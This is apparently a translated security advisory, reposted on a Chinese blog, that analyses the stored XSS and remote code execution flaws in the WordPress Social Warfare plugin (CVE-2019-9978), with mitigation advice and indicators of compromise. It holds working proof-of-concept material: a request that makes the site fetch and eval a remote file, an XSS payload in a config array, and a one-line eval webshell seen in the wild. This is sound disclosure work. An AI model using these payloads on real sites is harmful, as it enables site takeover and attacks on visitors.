WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

一、概述

3月21日,研究人员披露了Social Warfare中存在的两个漏洞,这是WordPress中一个非常受欢迎的插件,可以将社交网络分享按钮添加到网站或博客中。其中,一个是存储型跨站脚本攻击(XSS)漏洞,另一个是远程代码执行(RCE)漏洞,这两个漏洞共同获得CVE-2019-9978编号。在3.5.3版本之前所有版本的Social Warfare中都存在这两个漏洞。3月21日,发布了针对该漏洞的修复程序,但预计有42000个网站暂未更新至3.5.3版本,而存在漏洞。攻击者可以借助这些运动,运行任意PHP代码,在无需身份验证的情况下即可实现对网站和服务器的控制。攻击者可能会利用受感染的网站执行加密货币挖掘,或在被感染的网站上托管恶意攻击代码。Unit 42的研究人员发现了五个主动用于托管恶意攻击代码的受感染网站,使得攻击者可以控制更多网站。

在本文中,我们将对该漏洞的根本原因进行详细分析,并提供了新的信息。此外,我们还将演示漏洞的概念验证代码(PoC),以及我们在野外观察到的攻击信息,并提供易受攻击网站的范围。

二、漏洞根本原因分析

2.1 远程代码执行(RCE)漏洞

该漏洞的根本原因位于social-warfare\lib\utilities\SWP_ Databa se_Migration.php中。

WordPress Social Warfare处理$_GET[‘swp_url’]:

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

上图展示了,$array由$option构造,而$option又来自位于$_GET[‘swp_url’]中的远程文件。我们可以在上图的第250行中看到,$array将由eval()函数执行,而不会进行任何安全检查,这将直接导致任意代码执行。

2.2 存储型跨站脚本攻击(XSS)漏洞

该漏洞同样存在于social-warfare\lib\utilities\SWP_ Databa se_Migration.php代码之中。

要更新的代码选项:

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

这两个漏洞的根本原因是相同的,都是在WordPress中滥用了is_admin()函数。is_admin仅检查所请求的页面是否属于管理页面的一部分,并且不会阻止任何未经授权的访问。

三、概念证明

3.1 远程代码执行(RCE)漏洞

我们使用以下内容,操作内部环境服务器中的文件,该文件在<pre>标记内存储phpinfo函数。Phpinfo()是一个PHP函数,它展示了PHP的当前状态和环境配置。该函数通常被用作演示PHP执行的远程Payload。

<pre>
Phpinfo();
</pre>

然后,我们在易受攻击的站点上访问了以下URI,发现执行了phpinfo()函数:

http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt

在发送PoC请求时运行phpinfo():

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

3.2 存储型跨站脚本攻击(XSS)漏洞

我们使用以下内容,操纵内部环境服务器中的配置文件:

<pre>
array (
  ‘analytics_campaign’ => ‘SocialWarfare’,
  ‘analytics_medium’ => ‘social’,
  ‘bitly_authentication’ => false,
  ‘button_alignment’ => ‘fullWidth’,
  ‘button_shape’ => ‘flatFresh’,
  ‘button_size’ => 1,
  ‘cache_method’ => ‘advanced’,
  ‘ctt_css’ => ”,
  ‘ctt_theme’ => ‘style1’,
  ‘custom_color’ => ‘#000000’,
  ‘custom_color_outlines’ => ‘#000000’,
  ‘decimal_separator’ => ‘period’,
  ‘decimals’ => 0,
  ‘default_colors’ => ‘full_color’,
  ‘float_alignment’ => ‘center’,
  ‘float_background_color’ => ‘#ffffff’,
  ‘float_button_count’ => 5,
  ‘float_button_shape’ => ‘default’,
  ‘float_custom_color’ => ‘#000000’,
  ‘float_custom_color_outlines’ => ‘#000000’,
  ‘float_default_colors’ => ‘full_color’,
  ‘float_hover_colors’ => ‘fullColor’,
  ‘float_location’ => ‘bottom’,
  ‘float_location_page’ => ‘off’,
  ‘float_location_post’ => ‘on’,
  ‘float_mobile’ => ‘bottom’,
  ‘float_screen_width’ => 1100,
  ‘float_single_colors’ => ‘full_color’,
  ‘float_size’ => 1,
  ‘float_style_source’ => true,
  ‘float_vertical’ => ‘center’,
  ‘floating_panel’ => true,
  ‘force_new_shares’ => false,
  ‘frame_buster’ => false,
  ‘full_content’ => false,
  ‘google_analytics’ => false,
  ‘hover_colors’ => ‘full_color’,
  ‘last_migrated’ => ‘3.0.5’,
  ‘location_archive_categories’ => ‘below’,
  ‘location_home’ => ‘none’,
  ‘location_page’ => ‘below’,
  ‘location_post’ => ‘below’,
  ‘minimum_shares’ => 0,
  ‘network_shares’ => true,
  ‘og_page’ => ‘article’,
  ‘og_post’ => ‘article’,
  ‘order_of_icons’ =>
  array (
    ‘twitter’ => ‘twitter’,
    ‘linkedIn’ => ‘linkedin’,
    ‘pinterest’ => ‘pinterest’,
    ‘facebook’ => ‘facebook’,
    ‘google_plus’ => ‘google_plus’,
  ),
  ‘order_of_icons_method’ => ‘manual’,
  ‘pin_browser_extension’ => false,
  ‘pin_browser_extension_location’ => ‘hidden’,
  ‘pinit_image_description’ => ‘alt_text’,
  ‘pinit_image_source’ => ‘image’,
  ‘pinit_location_horizontal’ => ‘center’,
  ‘pinit_location_vertical’ => ‘top’,
  ‘pinit_min_height’ => ‘200’,
  ‘pinit_min_width’ => ‘200’,
  ‘pinit_toggle’ => false,
  ‘pinterest_fallback’ => ‘all’,
  ‘pinterest_image_location’ => ‘hidden’,
  ‘recover_shares’ => false,
  ‘recovery_format’ => ‘unchanged’,
  ‘recovery_prefix’ => ‘unchanged’,
  ‘recovery_protocol’ => ‘unchanged’,
  ‘single_colors’ => ‘full_color’,
  ‘swp_click_tracking’ => false,
  ‘swp_twitter_card’ => true,
  ‘total_shares’ => true,
  ‘totals_alignment’ => ‘total_sharesalt’,
  ‘transition’ => ‘slide’,
  ‘twitter_id’ => ‘”><script>alert(/kow/)</script>’,
  ‘twitter_shares’ => false,
  ‘utm_on_pins’ => false,
)
</pre>

随后,我们返回到易受攻击的WordPress主机,该主机位于http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt。

当我们访问WordPress仪表盘中的Social Warfare页面时,我们会看到如下图所示的警报。

管理员访问仪表盘时显示的警报:

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

四、在野外存在的漏洞利用方法

4.1 远程代码执行(RCE)漏洞

我们还发现了一些利用这些漏洞的示例,下图展示了其中一个示例的POST请求。

在野外发现的样本的POST请求:

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

该代码是对RCE漏洞的利用,并将操纵一个单行的WebShell,允许攻击者控制网站。

<pre>eval($_REQUEST[‘wpaa’])</pre>

4.2 存储型跨站脚本攻击(XSS)漏洞

下图展示了解码后的恶意JavaScript代码,利用该存储型XSS漏洞,将受害者重新定向到存在广告的站点。通过这种方式,攻击者可以获得广告的收入。

解码后的恶意JavaScript:

WordPress Social Warfare插件XSS和RCE漏洞分析(CVE-2019-9978)

五、受影响的网站

目前,我们已经发现大约有40000个已安装该插件的网站,其中大多数都运行了易受攻击版本的插件,其中包括教育网站、财务网站和新闻网站。其中的许多网站都拥有较高的流量,我们可以在下图左侧看到Alexa的全球流量排名。天空彩

六、总结与缓解措施

Social Warfare插件在野外有许多漏洞利用方式,并且很可能会继续被恶意使用。由于目前,已经有超过7500万个网站正在使用WordPress,而且许多高访问量的WordPress网站都在使用Social Warfare插件,这些网站的用户可能会暴露在恶意软件、仿冒网页或挖矿工具的面前。我们强烈建议网络管理员应将Social Warfare更新到3.5.3或更新版本。

Palo Alto Networks的客户可通过以下产品和服务,免受这两个漏洞的侵害:

威胁防御签名55424;

PAN-DB可阻止攻击者的C&C服务器IP和域名;

WildFire和反病毒产品可以识别并阻止Payload漏洞利用。

Palo Alto Networks与我们的网络威胁联盟成员分享了针对该漏洞的全部调查结果,包括文件样本和IoC。网络威胁联盟成员可以借助这些信息,迅速部署对客户的保护,并系统地针对恶意网络参与者进行防御。有关网络威胁联盟的更多信息,请访问www.cyberthreatalliance.org。

七、IoC

pastebin[.]com/0yJzqbYf

www[.]viamarkt[.]hu/readme[.]txt

netlabs[.]gr//images/code[.]txt

www[.]acne-school[.]ru//sites/all/modules/webform/tests/subform[.]txt

www[.]tekmat[.]net/wp-content/uploads/2014/04/jpg[.]txt

customcoverinc[.]com/images/banners/shopreadme[.]txt

37[.]59[.]55[.]45

192[.]99[.]35[.]149

192[.]99[.]35[.]63

94[.]23[.]255[.]34

8[.]47[.]64[.]2

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值